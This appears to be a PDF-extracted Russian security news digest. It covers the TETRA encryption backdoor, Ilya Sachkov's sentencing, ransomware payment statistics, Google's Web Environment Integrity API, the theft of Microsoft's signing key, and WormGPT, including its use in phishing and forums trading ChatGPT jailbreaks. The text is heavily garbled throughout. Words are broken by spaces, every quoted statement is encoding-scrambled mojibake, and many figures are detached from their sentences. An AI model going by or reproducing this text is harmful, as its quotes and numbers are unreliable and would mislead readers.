пред намерен ного ослабле ния», — утвер жда ют спе циалис ты Midnight Blue.
По их сло вам, эффектив ная энтро пия клю ча умень шена намерен но и, судя
по все му, речь идет о самом нас тоящем бэк доре.

В ответ на эти обви нения в ETSI заяви ли, что «стан дарты безопас ности
TETRA были опре деле ны сов мес тно с наци ональ ными служ бами безопас- 
ности, раз работа ны в соот ветс твии с пра вила ми экспортно го кон тро ля и под- 
пада ют под их дей ствие, что опре деля ет стой кость шиф рования». В Евро пей- 
ском инсти туте телеком муника цион ных стан дартов отме тили, что
в 1995 году 32-бит ный ключ обес печивал дол жную безопас ность, одна ко его
надеж ность осла били дос тупные теперь вычис литель ные мощ ности.

Ис сле дова тели Midnight Blue пла ниру ют пред ста вить свои выводы в сле- 
дующем месяце на кон ферен ции  в Лас-Вегасе, пос ле чего будет
опуб ликован деталь ный тех ничес кий ана лиз и сек ретные алго рит мы шиф- 
рования TETRA, которые рань ше были недос тупны широкой общес твен ности.
Спе циалис ты наде ются, что их кол леги, обла дающие боль шим опы том, смо- 
гут изу чать алго рит мы и, веро ятно, выявить дру гие проб лемы TETRA.

Black Hat

ТРАФИК CHATGPT СНИЖАЕТСЯ
По дан ным ана лити ков Similarweb, эффект новиз ны про шел и тра фик ChatGPT впер вые стал
демонс три ровать сни жение. Так, в июне 2023 года тра фик чат-бота сок ратил ся на 
по срав нению с маем текуще го года.

9,7%

Так же на  сок ратилось количес тво вре мени, которое посети тели про водят на сай те. Вмес- 
те с вов лечен ностью пада ет и количес тво уни каль ных посети телей, которое в июне «про село»
на . Одна ко отме чает ся, что ChatGPT по-преж нему прив лека ет боль ше посети телей, чем
bing.com или Character.AI.

8,5%

5,7%

ИЛЬЯ САЧКОВ
ПРИГОВОРЕН
К 14 ГОДАМ ТЮРЬМЫ

Ос нователь и быв ший гла ва ком пании Group-IB Илья Сач ков при гово рен
к 14 годам колонии стро гого режима и штра фу в 500 тысяч руб лей по делу
о госиз мене (ст. 275 УК РФ). Свою вину Сач ков не приз нает, его защит ники
заяви ли о намере нии обжа ловать при говор и обра тить ся к пре зиден ту РФ.

26 июля 2023 года Мос ков ский город ской суд вынес обви нитель ный при-
говор осно вате лю ком пании Group-IB (теперь FACCT). Дело рас смат ривалось
в зак рытом режиме трой кой судей, и, в чем имен но суд приз нал Сач кова
винов ным, неиз вес тно, так как дела по госиз мене засек речены. Сог ласно
решению суда, один день в СИЗО будет зач тен за один день сро ка в колонии.

На пом ним, что Илья Сач ков  в сен тябре 2021 года
по подоз рению в госиз мене, а в офи сах Group-IB тог да прош ли обыс ки.
С это го момен та он находил ся под следс тви ем в СИЗО «Лефор тово».

был арес тован

Как теперь сооб щают СМИ, сто рона обви нения зап рашива ла для Сач- 
кова 18 лет колонии, и 24 июня в  Сач кова появил ся ком- 
мента рий о зап рошен ном про кура турой сро ке зак лючения:

Telegram-канале

«
»

«Ýòà öèô ðà íå ìåøà åò ìíå ñ óëûá êîé, äîñ òîèíñ òâîì è ÷åò êèì õîëîä- 
íîêðîâ íûì ïðî ôåñ ñèîíà ëèç ìîì äåëàòü, ÷òî äîë æíî. ß âñþ æèçíü
ðàáîòàþ ñ öèô ðàìè, ÷èñ ëàìè, êîäàìè, è íè îäíà èç íèõ ìåíÿ â ñòó ïîð
íå ââî äèëà. <...> Åñëè áóäåò îáâè íèòåëü íûé ïðè ãîâîð, ýòî áóäåò îäíà
èç ñàìûõ óñïåøíûõ îïå ðàöèé àìå ðèêàí ñêèõ ñïåö ñëóæá è î÷å ðåä íîé
ñïëà íèðî âàí íûé óäàð ïî ðîñ ñèé ñêî ìó IT-ñåê òîðó».

Пред ста вите ли ком пании FACCT уже опуб ликова ли офи циаль ное заяв ление
о вынесен ном Сач кову при гово ре. В ком пании отме тили, что сот рудни ки
стой ко вос при няли слу чив шееся, они про дол жают под держи вать Илью
и наде ются, что он вый дет на сво боду и будет реаби лити рован, «как это неод- 
нократ но про исхо дило в исто рии».

«

»

«Ýòî òÿæåëûé ìîìåíò äëÿ âñåõ íàñ è ÷åð íûé äåíü äëÿ ðûí êà êèáåð- 
áåçîïàñ íîñòè. Èëüÿ Ñà÷ êîâ, ìîé äðóã, êîë ëåãà, ñîç äàòåëü îäíîé
èç ñàìûõ óñïåøíûõ âûñîêî òåõ íîëîãè÷ íûõ êîì ïàíèé â ñôå ðå êèáåð- 
áåçîïàñ íîñòè — â ðåçóëü òàòå „ñêî ðîãî ñóäà“ îòïðàâ ëåí â êîëîíèþ.
Èëüÿ — êóëü òîâàÿ ôèãóðà â ìèðå êèáåð áåçîïàñ íîñòè. Âûá ðàâ äåëîì
ñâî åé æèç íè ñîç äàíèå èíæå íåð íûõ òåõ íîëîãèé ìèðîâî ãî êëàñ ñà
äëÿ ïðî òèâî äåé ñòâèÿ êèáåð ïðåñ òóïíîñ òè, îí ìíî ãîå ñäå ëàë, ÷òî áû
î÷èñ òèòü ðîñ ñèé ñêîå è ìåæ äóíàðîä íîå êèáåð ïðîñòðàíñ òâî îò êðè- 
ìèíà ëà. È ÿ óâå ðåí, ñäå ëàë áû íàì íîãî áîëü øå, òåì áîëåå ñåé ÷àñ,
êîã äà íà êîíó — êèáåð áåçîïàñ íîñòü ãîñóäàðñ òâà, à ìàñ øòàá è ÷àñ òîòà
êèáåðà òàê ðàñ òóò ñ êàæ äûì ìåñÿöåì. Ïîòåí öèàë Èëüè êàê ÷åëîâå êà,
êàê ëè÷ íîñòè, êàê ïðî ôåñ ñèîíà ëà îãðî ìåí. Îí ñîç äàë îòå ÷åñ òâåí íûå
êîí êóðåí òîñïî ñîá íûå ýêñïîðòíûå òåõ íîëîãèè, îíè óñïåøíû è ïðèç- 
íàíû âî âñåì ìèðå. Êàê Èëüÿ ëè÷ íî, òàê è êîì ïàíèÿ èìå þò ìíî æåñ òâî
íàã ðàä è áëà ãîäàðñ òâåí íûõ ïèñåì îò ïðà âîîõ ðàíèòåëü íûõ îðãà íîâ.
Åãî èçî ëÿöèÿ — ýòî ïîòåðÿ äëÿ âñå ãî ÈÒ ðûí êà, è âìåñ òå ñ òåì, âåðî- 
ÿòíî, îíà îáðà äóåò òåõ, ñ êåì îí áîðîë ñÿ, — ðåàëü íûõ êèáåð ïðåñ- 
òóïíè êîâ. Íî ìû ïðî äîë æèì åãî äåëî è, êàê ïðåæ äå, áóäåì ðàç- 
ðàáàòû âàòü ðåøåíèÿ äëÿ èíôîðìà öèîí íîé áåçîïàñ íîñòè, îïå ðåæà- 
þùèå âðå ìÿ, ñëå äîâàòü íàøåé ìèñ ñèè è çàùèùàòü êàê êîì ïàíèè, òàê
è âñåõ ïîëü çîâàòå ëåé. Äåëà åì», — ãîâîðèò Âàëåðèé Áàóëèí, ãåíåðàëü- 
íûé äèðåê òîð êîì ïàíèè FAÑÑT.

В ком пании сооб щают, что, нес мотря на зак лючение под стра жу, Сач ков про- 
дол жает работать над про екта ми и тех нологи ями кибер безопас ности, и,
по его сло вам, он про дол жит эту работу, где бы ни находил ся.

Так же под черки вает ся, что все под разде ления FACCT работа ют в штат ном
режиме, и ком пания бла года рит кли ентов, пар тне ров, пред ста вите лей комь- 
юни ти по кибер безопас ности и жур налис тов за сло ва под дер жки.

АППЕТИТЫ ВЫМОГАТЕЛЕЙ РАСТУТ
Спе циалис ты Chainalysis под счи тали, что вымога тель ство ста ло единс твен ной катего рией крип- 
товалют ных прес тупле ний, в которой в этом году наб люда ется рост. Так, в 2023 году хакеры
вымога ли у сво их жертв на  дол ларов боль ше, чем год назад.175,8 мил лиона

Толь ко за июнь 2023 года хакеры пот ребова ли у жертв  дол ларов. Если такие
тем пы сох ранят ся, зло умыш ленни ки сум марно зат ребу ют у сво их жертв око ло 

 дол ларов в 2023 году, усту пая лишь рекор дным  дол ларов
в 2021 году.

449,1 мил лиона
898,6  мил- 

лиона 939,9  мил лиона

Дви жущей силой это го рез кого рос та доходов вымога телей счи тают так называ емую «охо ту
на круп ную дичь», пос коль ку кибер прес тупни ки сос редото чились на ата ках на круп ные орга- 
низа ции, у которых мож но тре бовать боль шие сум мы денег.

Эта тен денция отчетли во вид на на гра фике рас пре деле ния вымога тель ских пла тежей, который
демонс три рует замет ный рост круп ных выкупов.

Ли дера ми в спис ке получа телей круп ных пла тежей ста ли груп пиров ки ,
 и .

BlackBasta
ALPHV/Blackcat Clop

Сред ний раз мер выкупа Clop сос тавля ет  дол ларов, а меди анный — 
 дол ларов.

1,7  мил лиона 1,9  мил- 
лиона

GOOGLE СОЗДАЕТ
«DRM
ДЛЯ ИНТЕРНЕТА»

Ко ман да из четырех инже неров Google работа ет над новым веб-API под наз- 
вани ем Web Environment Integrity, который поз волит сай там бло киро вать кли- 
ент ские при ложе ния, изме няющие их код. Плю сы с точ ки зре ния безопас- 
ности оче вид ны, но, помимо того, новый API фак тичес ки поможет Google
и опе рато рам сай тов эффектив но бороть ся с бло киров щиками рек ламы.

Ос новная цель про екта — узнать боль ше о челове ке по ту сто рону бра узе- 
ра, удос товерить ся, что он не робот, а бра узер не был модифи циро ван
или под делан каким-либо обра зом.

Раз работ чики заяв ляют, что такие дан ные будут полез ны рек ламода телям
для под сче та показов рек ламы, помогут бороть ся с ботами в соци аль ных
сетях, защитят пра ва на интеллек туаль ную собс твен ность, будут про тивос- 
тоять читерс тву в веб-играх, а так же повысят безопас ность финан совых тран-
закций.

То есть, на пер вый взгляд, Web Environment Integrity API раз рабаты вает ся
как защит ное решение, что бы сай ты мог ли обна ружи вать вре донос ные
модифи кации кода на сто роне кли ента и отклю чать вре донос ных кли ентов.

При этом авто ры Web Integrity API пишут, что вдох новля лись «сущес тву- 
ющи ми натив ными сиг налами аттеста ции, вклю чая Apple App Attest и Android
Play Integrity API».

Здесь сто ит пояс нить, что Play Integrity (ранее SafetyNet) пред став ляет
собой API для Android, поз воля ющий при ложе ниям выяс нить, было ли устрой- 
ство рутиро вано. Root-дос туп поз воля ет получить пол ный кон троль
над устрой ством, и мно гим раз работ чикам при ложе ний такое не нра вит ся.
Поэто му пос ле получе ния соот ветс тву юще го сиг нала от Android Integrity API
некото рые типы при ложе ний могут прос то отка зать ся запус кать ся.

Как пра вило, в таких слу чаях отка зыва ются работать бан ков ские при ложе- 
ния, Google Wallet, онлайн-игры, Snapchat, а так же некото рые муль тимедий- 
ные при ложе ния (нап ример, Netix). Ведь счи тает ся, что root-дос туп может
исполь зовать ся для читерс тва в играх или фишин га бан ков ских дан ных. Хотя
root-дос туп так же может понадо бить ся для нас трой ки устрой ства, уда ления
вре донос ного ПО или соз дания сис темы резер вно го копиро вания, Play
Integrity такие вари анты при мене ния не рас смат рива ет и в любом слу чае бло- 
киру ет дос туп.

Как теперь пред полага ют ИБ-спе циалис ты, Google стре мит ся реали зовать
то же самое в мас шта бах все го интерне та.

По замыс лу Google, в ходе тран закции веб-стра ницы сер вер может пот- 
ребовать от поль зовате ля прой ти тест environment attestation, преж де чем тот
получит какие-либо дан ные. В этот момент бра узер свя жет ся со сто рон ним
сер вером аттеста ции, и поль зователь дол жен будет прой ти опре делен ный
тест. Если про вер ка прой дена, поль зователь получа ет под писан ный Integrity
Token, который под твержда ет целос тность его сре ды и ука зыва ет на кон тент,
который нуж но раз бло киро вать. Затем токен переда ется обратно на сер вер,
и если сер вер доверя ет ком пании-аттеста тору, то кон тент раз бло киру ется,
а человек наконец получит дос туп к нуж ным дан ным.

Как теперь опа сают ся мно гие, если бра узе ром в таком при мере будет выс- 
тупать Chrome и сер вер аттеста ции тоже будет при над лежать Google, то
имен но Google будет решать, пре дос тавить или не пре дос тавить челове ку
дос туп к сай там.

При этом в ком пании уве ряют, что Google не собира ется исполь зовать
опи сан ную фун кци ональ ность во вред. Так, соз датели Web Integrity API «твер- 
до уве рены», что их API не дол жен исполь зовать ся для фин гер прин тинга
людей, хотя вмес те с этим они хотят получить «некий инди катор, поз воля- 
ющий огра ничить ско рость по отно шению к физичес кому устрой ству».

Так же заяв лено, что ком пания не хочет «вме шивать ся в фун кци ональ ность
бра узе ра, вклю чая пла гины и рас ширения». Таким обра зом раз работ чики
дают понять, что яко бы не собира ются бороть ся с бло киров щиками рек ламы,
хотя в ком пании мно го лет работа ют над скан даль ным , чья цель
сос тоит имен но в этом. А новый API мож но исполь зовать для обна руже ния
того, что бло киров щик рек ламы вме шива ется в рек ламный код. Пос ле это го
опе ратор сай та будет волен поп росту прек ратить пре дос тавле ние услуг.

Manifest V3

Об сужде ние этой темы в сети уже спро воци рова ло вол ну кри тики в адрес
Google, а про ект окрести ли «DRM для интерне та». К при меру, раз работ чики,
ИБ-спе циалис ты и прос тые поль зовате ли , что про ект Web Integrity
API намерен но раз меща ется на GitHub одно го из раз работ чиков, а Google
ста рает ся дис танци ровать ся от раз работ ки, которая может отра вить сущес- 
тву ющие веб-стан дарты, помогая ком пании сох ранить рек ламный биз нес.

от меча ют

Дис куссия на  про екта на GitHub так же каса ется пре иму- 
щес твен но эти чес ких аспектов про исхо дяще го, а Google обви няют в попыт ке
стать монопо лис том в оче ред ной области и «убить» бло киров щики рек ламы.

Issues-стра нице

ПАВЕЛ ЖОВНЕР ПОДТВЕРДИЛ РАЗРАБОТКУ FLIPPER ONE

В этом месяце «Хакер»  с одним из авто ров «хакер ско го тамаго чи» Flipper Zero Пав- 
лом Жов нером. В интервью Павел под твер дил, что работа над вто рым и более прод винутым
вари антом хакер ско го муль титула, Flipper One, уже ведет ся.

по гово рил

Ис ходно стар шая модель «хакер ско го тамаго чи» пла ниро валась как более прод винутая вер- 
сия Flipper, ори енти рован ная на ата ки на про вод ные и бес про вод ные сети. One дол жен был
обла дать всей фун кци ональ ностью Zero, а так же иметь отдель ный ARM-компь ютер с Kali Linuх
на бор ту.

→ «Мы сей час работа ем над Flipper One, но пока не сов сем понима ем, каким
он дол жен быть. Мы хотим вооб ще жир ный ком байн с FPGA и SDR, в котором
все про токо лы мож но будет опре делить прог рам мно, но пока есть сом нения,
будут ли покупать устрой ство за 300–500 дол ларов.

Так что про ект в активном R&D, но пока нет понима ния по важ ным час тям.
Нап ример, не выб рали модуль Wi-Fi, потому что все сущес тву ющие чипы, при- 
год ные для атак, уже уста рели. Воз можно, при дет ся спон сировать раз работ ку
сво его драй вера. В общем, уви дим», — сооб щил Жов нер.

Продолжение статьи →

https://ru.wikipedia.org/wiki/TETRA
https://www.wired.com/story/tetra-radio-encryption-backdoor/
https://xakep.ru/2017/06/13/industroyer/
https://www.blackhat.com/us-23/briefings/schedule/index.html#redacted-telecom-talk-31807
https://xakep.ru/2021/09/29/gib-founder-arrested/
https://t.me/Ilya_Sachkov/51
https://xakep.ru/tag/manifest-v3/
https://news.ycombinator.com/item?id=36817305
https://github.com/RupertBenWiser/Web-Environment-Integrity/issues
https://xakep.ru/2023/07/12/flipper-interview/
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СЕРТИФИКАТЫ
ANDROID 7
УСТАРЕВАЮТ

Раз работ чики пре дуп режда ют, что с 8 фев раля 2024 года сер тифика ты Let’s
Encrypt перес танут работать в Android 7 и более ста рых вер сиях мобиль ной
ОС.

Соз датели Let’s Encrypt вер нулись к проб леме ста рых Android-устрой ств,
о которой  еще в 2020 году. Они напоми нают, что пос ле
запус ка сер виса им нуж но было убе дить ся, что сер тифика ты Let’s Encrypt
поль зуют ся широким довери ем. С этой целью была орга низо вана перек рес- 
тная под пись про межу точ ных сер тифика тов с IdenTrust DST Root X3. Это озна- 
чало, что все сер тифика ты, выдан ные опос редован но, так же будут доверен- 
ными, даже если собс твен ный ISRG Root X1 ком пании таковым еще не был.

впер вые загово рили

Проб лемы начались, ког да выяс нилось, что в кон це 2021 года исте кает
срок дей ствия про межу точ ных сер тифика тов с перек рес тны ми под писями,
а так же срок пар тнерс тва меж ду Let’s Encrypt и орга низа цией IdenTrust (и
прод лять его не пла ниро валось).

Хо тя сов ремен ные бра узе ры на тот момент уже доверя ли кор невому сер- 
тифика ту Let’s Encrypt, более тре ти всех Android-устрой ств по-преж нему
работа ли под управле нием ста рых вер сий ОС, которые мог ли вне зап но
перес тать доверять сай там, исполь зующим сер тифика ты Let’s Encrypt.

В ито ге пред полага лось, что осенью 2021 года поль зовате ли ста рых
устрой ств нач нут мас сово испы тывать слож ности с дос тупом к сай там, а так- 
же получать сооб щения об ошиб ках сер тифика тов. Тог да инже неры Let’s
Encrypt под счи тали, что на таких поль зовате лей при ходит ся при мер но 1–5%
все го тра фика.

Так как подоб ный гло баль ный сбой был недопус тим, в ком пании 
, орга низо вав новую перек рес тную под пись, которая дол жна была

прос лужить доль ше самого DST Root CA X3. Эта вре мен ная мера поз волила
ста рым устрой ствам на базе Android про дол жать доверять сер тифика там
ком пании еще три года. Одна ко срок вновь исте кает 30 сен тября 2024 года.

ре шили
проб лему

Как теперь пишут раз работ чики, за пос ледние три года про цент устрой ств
на Android, которые доверя ют ISRG Root X1, вырос с 66 до 93,9%. Ожи дает ся,
что этот про цент еще уве личит ся в течение сле дующе го года, осо бен но ког да
вый дет Android 14, где появит ся воз можность обно вить кор невые сер тифика- 
ты без пол ного обновле ния ОС.

Так как про дол жать под держи вать сов мести мость боль ше не нуж но (и
это поможет ком пании зна читель но сни зить опе раци онные рас ходы), в Let’s
Encrypt сооб щают, что за пери од с 8 фев раля 2024 года по 30 сен- 
тября 2024 года отка жут ся от ста рой перек рес тной под писи. Из-за это го
у вла дель цев устрой ств, работа ющих под управле нием Android 7 и более ста- 
рых вер сий опе раци онной сис темы, воз никнут проб лемы.

«

»

«Åñëè âû èñïîëü çóåòå Android 7.0 èëè áîëåå ðàí íþþ âåð ñèþ ÎÑ, âàì
ìîæåò ïîò ðåáîâàòü ñÿ ïðè íÿòü ìåðû, ÷òî áû îáåñ ïå÷èòü ñåáå äîñ òóï
ê ñàé òàì, çàùèùåí íûì ñåð òèôèêà òàìè Let’s Encrypt. Ìû ðåêîìåí äóåì
óñòà íîâèòü è èñïîëü çîâàòü , êîòîðûé èñïîëü çóåò ñîáñ- 
òâåí íîå õðà íèëè ùå äîâåðåí íûõ ñåð òèôèêà òîâ âìåñ òî õðà íèëè ùà
äîâåðåí íûõ ñåð òèôèêà òîâ ÎÑ Android è, ñëå äîâà òåëü íî, äîâåðÿ åò
ISRG Root X1», — ïèøóò ðàç ðàáîò ÷èêè.

Firefox Mobile

Вла дель цам сай тов, которые могут заметить падение тра фика во вто ром
и треть ем квар талах 2024 года, рекомен дует ся дать сво им посети телям такой
же совет: исполь зовать Firefox Mobile или обно вить устрой ство.

НИКТО НЕ ЛЮБИТ ГОЛОСОВЫЕ СООБЩЕНИЯ
По резуль татам иссле дова ния «Лабора тории Кас пер ско го», око ло полови ны опро шен ных рос- 
сий ских поль зовате лей ( ) в прин ципе не готовы час то отве чать на голосо вые сооб щения.
Еще  рес понден тов нор маль но отно сят ся к таким сооб щени ям толь ко в том слу чае, если
они приш ли от дру зей или родс твен ников.

56%
64%

 поль зовате лей счи тают, что в пуб личных мес тах слу шать голосо вые сооб щения неком- 
фор тно, а  — что информа цию из них труд но запоми нать или переп роверять.
79%

50%

У MICROSOFT УКРАЛИ
ВАЖНЫЙ КЛЮЧ

В середи не июля 2023 года ста ло извес тно, что у ком пании Microsoft был
похищен крип тогра фичес кий ключ MSA (Microsoft account consumer signing
key), что при вело к мас совой ата ке на Exchange Online и Azure Active Directory
(AD) более 25 орга низа ций по все му миру, вклю чая пра витель ствен ные
учрежде ния в США и стра нах Запад ной Евро пы.

Как ока залось, еще в середи не мая зло умыш ленни кам из китай ской груп- 
пиров ки Storm-0558 уда лось получить дос туп к учет ным записям, при над- 
лежащим при мер но 25 орга низа циям, а так же к некото рым учет ным записям
поль зовате лей, которые, веро ятно, были свя заны с эти ми орга низа циями.
Наз вания пос тра дав ших орга низа ций и госуч режде ний не были рас кры ты.
Извес тно лишь, что в чис ле пос тра дав ших Гос деп и Минис терс тво тор говли
США.

Как объ ясня ли тог да в Microsoft, для этой ата ки зло умыш ленни ки исполь- 
зовали токены аутен тифика ции, под делан ные с помощью крип тогра фичес- 
кого клю ча MSA, который при меня ется для под писания токенов. Из-за 0-day-
проб лемы, свя зан ной с валида цией в GetAccessTokenForResourceAPI, хакеры
смог ли под делать чужие под писан ные токены Azure Active Directory (Azure AD
или AAD) и выдать себя за сво их жертв.

При этом в Microsoft до сих пор не объ ясни ли, как имен но такой важ ный
ключ MSA вооб ще ока зал ся в руках хакеров.

Бо лее того, по дан ным ана лити ков ком пании Wiz, спе циали зиру ющей ся
на облачной безопас ности, проб лема куда серь езнее, чем ее пре под носит
Microsoft. Иссле дова тели счи тают, что проб лема зат ронула все при ложе ния
Azure AD, работа ющие с Microsoft OpenID v2.0. Дело в том, что укра ден ный
ключ мог под писать любой токен дос тупа OpenID v2.0 для лич ных учет ных
записей (нап ример, Xbox, Skype) и муль титенан тных при ложе ний AAD
при опре делен ных усло виях.

Хо тя Microsoft заяв ляла, что пос тра дали толь ко Exchange Online и Outlook,
по мне нию спе циалис тов Wiz, хакеры мог ли исполь зовать ском про мети- 
рован ный ключ, что бы выдать себя за любую учет ную запись в любом пос тра- 
дав шем кли ент ском или облачном при ложе нии Microsoft. В их чис ло вхо дят
managed-при ложе ния Microsoft, такие как Outlook, SharePoint, OneDrive
и Teams, а так же кли ент ские при ложе ния, под держи вающие аутен тифика цию
Microsoft Account, вклю чая те, которые поз воля ют исполь зовать фун кци ональ- 
ность Login with Microsoft.

«
»

«Âñё â ýêî ñèñ òåìå Microsoft èñïîëü çóåò äëÿ äîñ òóïà òîêåíû àóòåí- 
òèôèêà öèè Azure Active Directory, — îáú ÿñíÿ þò èññëå äîâà òåëè. — Çëî- 
óìûø ëåííèê ñ êëþ ÷îì ïîä ïèñè AAD — ýòî ñàìûé ñèëü íûé çëî óìûø- 
ëåííèê, êîòîðî ãî òîëü êî ìîæ íî ïðåä ñòà âèòü, ïîñ êîëü êó îí ìîæåò
ïîëó÷èòü äîñ òóï ïðàê òè÷åñ êè ê ëþáîìó ïðè ëîæå íèþ ïîä âèäîì ëþáîãî
ïîëü çîâàòå ëÿ. Ýòî íàñ òîÿùàÿ ñóïåð ñïî ñîá íîñòü — êèáåðî áîðî òåíü».

В ответ на эти обви нения иссле дова телей в Microsoft под чер кну ли, что ком- 
пания отоз вала все клю чи MSA, что бы гаран тировать, что зло умыш ленни ки
не име ют дос тупа к дру гим ском про мети рован ным клю чам. Что пол ностью
пре дот вра щает любые попыт ки соз дания новых токенов. Так же в ком пании
говорят, что мно гие заяв ления экспер тов Wiz «явля ются спе куля тив ными и не
осно ваны на фак тах».

Со обща ется, что пос ле анну лиро вания укра ден ного клю ча спе циалис ты
Microsoft не обна ружи ли допол нитель ных доказа тель ств, ука зыва ющих
на несан кци они рован ный дос туп к учет ным записям кли ентов с исполь- 
зовани ем того же метода под делки токенов. Кро ме того, Microsoft отме чает,
что так тика Storm-0558 изме нилась и хакеры боль ше не име ют дос тупа
к каким-либо клю чам под писи.

«
»

«Íà äàí íîì ýòà ïå òðóä íî îïðå äåëèòü ïîë íûå ìàñ øòà áû èíöè äåí òà,
ïîñ êîëü êó ïîòåí öèàëü íî óÿç âèìûìè áûëè ìèë ëèîíû ïðè ëîæå íèé (êàê
ïðè ëîæå íèé Microsoft, òàê è ïðè ëîæå íèé êëè åíòîâ) è â áîëü øèíñ òâå
èç íèõ îòñóòñ òâó þò íåîá õîäèìûå æóð íàëû, ÷òî áû ïîíÿòü, áûëè ëè îíè
ñêîì ïðî ìåòè ðîâà íû», — îáú ÿñíÿ þò ýêñïåð òû Wiz.

Де ло в том, что до это го инци ден та воз можнос ти ведения жур налов были
дос тупны толь ко кли ентам Microsoft, которые опла тили соот ветс тву ющую
лицен зию Purview Audit (Premium). Из-за это го Microsoft стол кну лась с серь- 
езной кри тикой со сто роны ИБ-сооб щес тва, ког да экспер ты заяви ли, что,
по сути, сама Microsoft мешала орга низа циям опе ратив но обна ружить ата ки
Storm-0558.

В резуль тате под дав лени ем сооб щес тва и Агентства по кибер безопас- 
ности и защите инфраструк туры США (CISA) ком пания сог ласилась бес плат- 
но рас ширить дос туп к дан ным облачных жур налов, что бы защит ники мог ли
обна ружи вать подоб ные попыт ки взло ма в будущем.

В  РАЗА БОЛЬШЕ ФИШИНГА2,5

За пер вые шесть месяцев 2023 года общее количес тво фишин говых писем, которые зло умыш- 
ленни ки отправ ляют на кор поратив ные поч ты рос сий ским ком пани ям, вырос ло в ,
пре дуп редили экспер ты сер виса защиты кор поратив ной элек трон ной поч ты BI.ZONE. За ука- 
зан ный пери од спе циалис ты сер виса заб локиро вали более  потен циаль но
опас ных писем.

2,5  раза

120  мил лионов

Сред няя доля нежела тель ных писем, отправ ленных рос сий ским ком пани ям, сос тавля ет 
от обще го чис ла. Так, из  писем, отправ ленных по элек трон ной поч те, хотя бы  ока- 
зыва ется фишин говым.

75%
250 од но

WORMGPT
УЧАСТВУЕТ
В ФИШИНГЕ

Спе циалис ты SlashNext обра тили вни мание, что прес тупни ки все чаще
исполь зуют генера тив ный ИИ в сво их ата ках. В час тнос ти, на хакер ских
форумах рек ламиру ется инс тру мент WormGPT, который пред лага ется при- 
менять для орга низа ции фишин говых рас сылок и ком про мета ции деловой
поч ты (business email compromise, BEC).

«
»

«Ýòîò èíñ òðó ìåíò ïðåä ñòàâ ëÿåò ñîáîé blackhat-àëü òåð íàòèâó èçâåñ- 
òíûì ìîäåëÿì GPT, ðàç ðàáîòàí íóþ ñïå öèàëü íî äëÿ âðå äîíîñ íûõ äåé- 
ñòâèé, — ïèøóò èññëå äîâà òåëè. — Êèáåð ïðåñ òóïíè êè ìîãóò èñïîëü- 
çîâàòü ýòó òåõ íîëîãèþ äëÿ àâòî ìàòè çèðî âàí íîãî ñîç äàíèÿ î÷åíü óáå- 
äèòåëü íûõ ôåé êîâûõ ïèñåì, ïåð ñîíàëè çèðî âàí íûõ äëÿ ïîëó÷à òåëÿ, ÷òî
óâå ëè÷è âàåò øàí ñû íà óñïåõ àòà êè».

WormGPT осно ван на язы ковой модели GPTJ, соз данной в 2021 году. Он
может пох вастать ся рядом фун кций, вклю чая неог раничен ную под дер жку
сим волов, сох ранение исто рии чатов и воз можность фор матиро вания кода.
Авто ры называ ют его «злей шим вра гом ChatGPT», который поз воля ет совер- 
шать «все воз можные незакон ные дей ствия».

Так же соз датели инс тру мен та утвер жда ют, что он обу чен на раз ных
наборах дан ных, с упо ром на дан ные, свя зан ные с вре донос ными прог- 
рамма ми. Одна ко кон крет ные наборы дан ных, исполь зован ные для обу чения,
не рас кры вают ся.

По лучив дос туп к WormGPT, экспер ты про вели собс твен ные тес ты. Так,
в одном экспе римен те они поручи ли WormGPT сге нери ровать мошен ничес- 
кое пись мо, которое дол жно вынудить ничего не подоз рева юще го менед жера
по работе с кли ента ми опла тить мошен ничес кий счет.

В SlashNext говорят, что резуль таты ока зались «тре вож ными»: WormGPT
соз дал пись мо, которое получи лось весь ма убе дитель ным, что «демонс три- 
рует потен циал для исполь зования в изощ ренных фишин говых и BEC-ата ках».

Соз данное иссле дова теля ми фишин говое пись мо

«

»

«Ãåíåðà òèâ íûé ÈÈ ìîæåò ñîç äàâàòü ýëåê òðîí íûå ïèñü ìà ñ áåçóï- 
ðå÷íîé ãðàì ìàòèêîé, ïîâûøàÿ èõ [âíåø íþþ] ëåãèòèì íîñòü è ñíè æàÿ
âåðî ÿòíîñòü òîãî, ÷òî îíè áóäóò ïîìå÷å íû êàê ïîäîç ðèòåëü íûå, —
ïèøóò ñïå öèàëèñ òû. — Èñïîëü çîâàíèå ãåíåðà òèâ íîãî ÈÈ çíà ÷èòåëü íî
óïðî ùàåò âûïîë íåíèå ñëîæ íûõ BEC-àòàê. Äàæå çëî óìûø ëåííè êè
ñ îãðà íè÷åí íûìè íàâûêà ìè ìîãóò èñïîëü çîâàòü ýòó òåõ íîëîãèþ, ÷òî
äåëà åò åå äîñ òóïíûì èíñ òðó ìåí òîì äëÿ î÷åíü øèðîêî ãî êðó ãà êèáåð- 
ïðåñ òóïíè êîâ».

Так же иссле дова тели отме чают тен денцию, о которой еще в начале года пре- 
дуп режда ли их кол леги из ком пании Check Point: на хакер ских форумах
по-преж нему активно обсужда ются раз личные «джей лбрей ки» для ИИ типа
ChatGPT.

Та кие «джей лбрей ки» пред став ляют собой тща тель но про думан ные зап- 
росы, сос тавлен ные осо бым обра зом. Они пред назна чены для манипу лиро- 
вания чат-ботами с ИИ, что бы генери ровать отве ты, которые могут содер жать
кон фиден циаль ную информа цию, нежела тель ный кон тент и даже вре донос- 
ный код.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Инс тру мент Snappy поможет обна ружить мошен ничес кие точ ки дос тупа Wi-Fi

Rowhammer-ата ку пред ложили исполь зовать для фин гер прин тинга устрой ств

Поч ти 40% уста новок Ubuntu уяз вимы перед новыми уяз вимос тями повыше ния при виле гий

Для регис тра ции на рос сий ских сай тах может пот ребовать ся рос сий ский email-адрес

Firefox будет бло киро вать работу аддо нов на некото рых сай тах ради безопас ности

Эн тузи асты запус тили сайт для обновле ния ста рых вер сий Windows, вклю чая 95, 98, NT 4.0, ME

Microsoft отоз вала сер тифика ты, которы ми под писали более 100 вре донос ных драй веров ядра

Ис ходни ки UEFI-бут кита BlackLotus опуб ликова ли на GitHub

Ата ка Zenbleed рас кры вает кон фиден циаль ные дан ные на про цес сорах AMD Zen2

Google соз дает red team для атак на ИИ-сис темы
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Flipper — хакер ский «муль титул», соз- 
данный коман дой рос сий ских раз работ- 
чиков, — успел неп лохо прос лавить ся.
В начале 2021 года про ект соб рал поч- 
ти 5 мил лионов дол ларов ,
потом сооб щес тво с инте ресом сле дило
за все ми ,
а теперь начались  с рас- 
простра нени ем и дос тавкой. Я уже получил
свой экзем пляр и рас ска жу о том,
как исполь зую его в жиз ни, что бы помочь
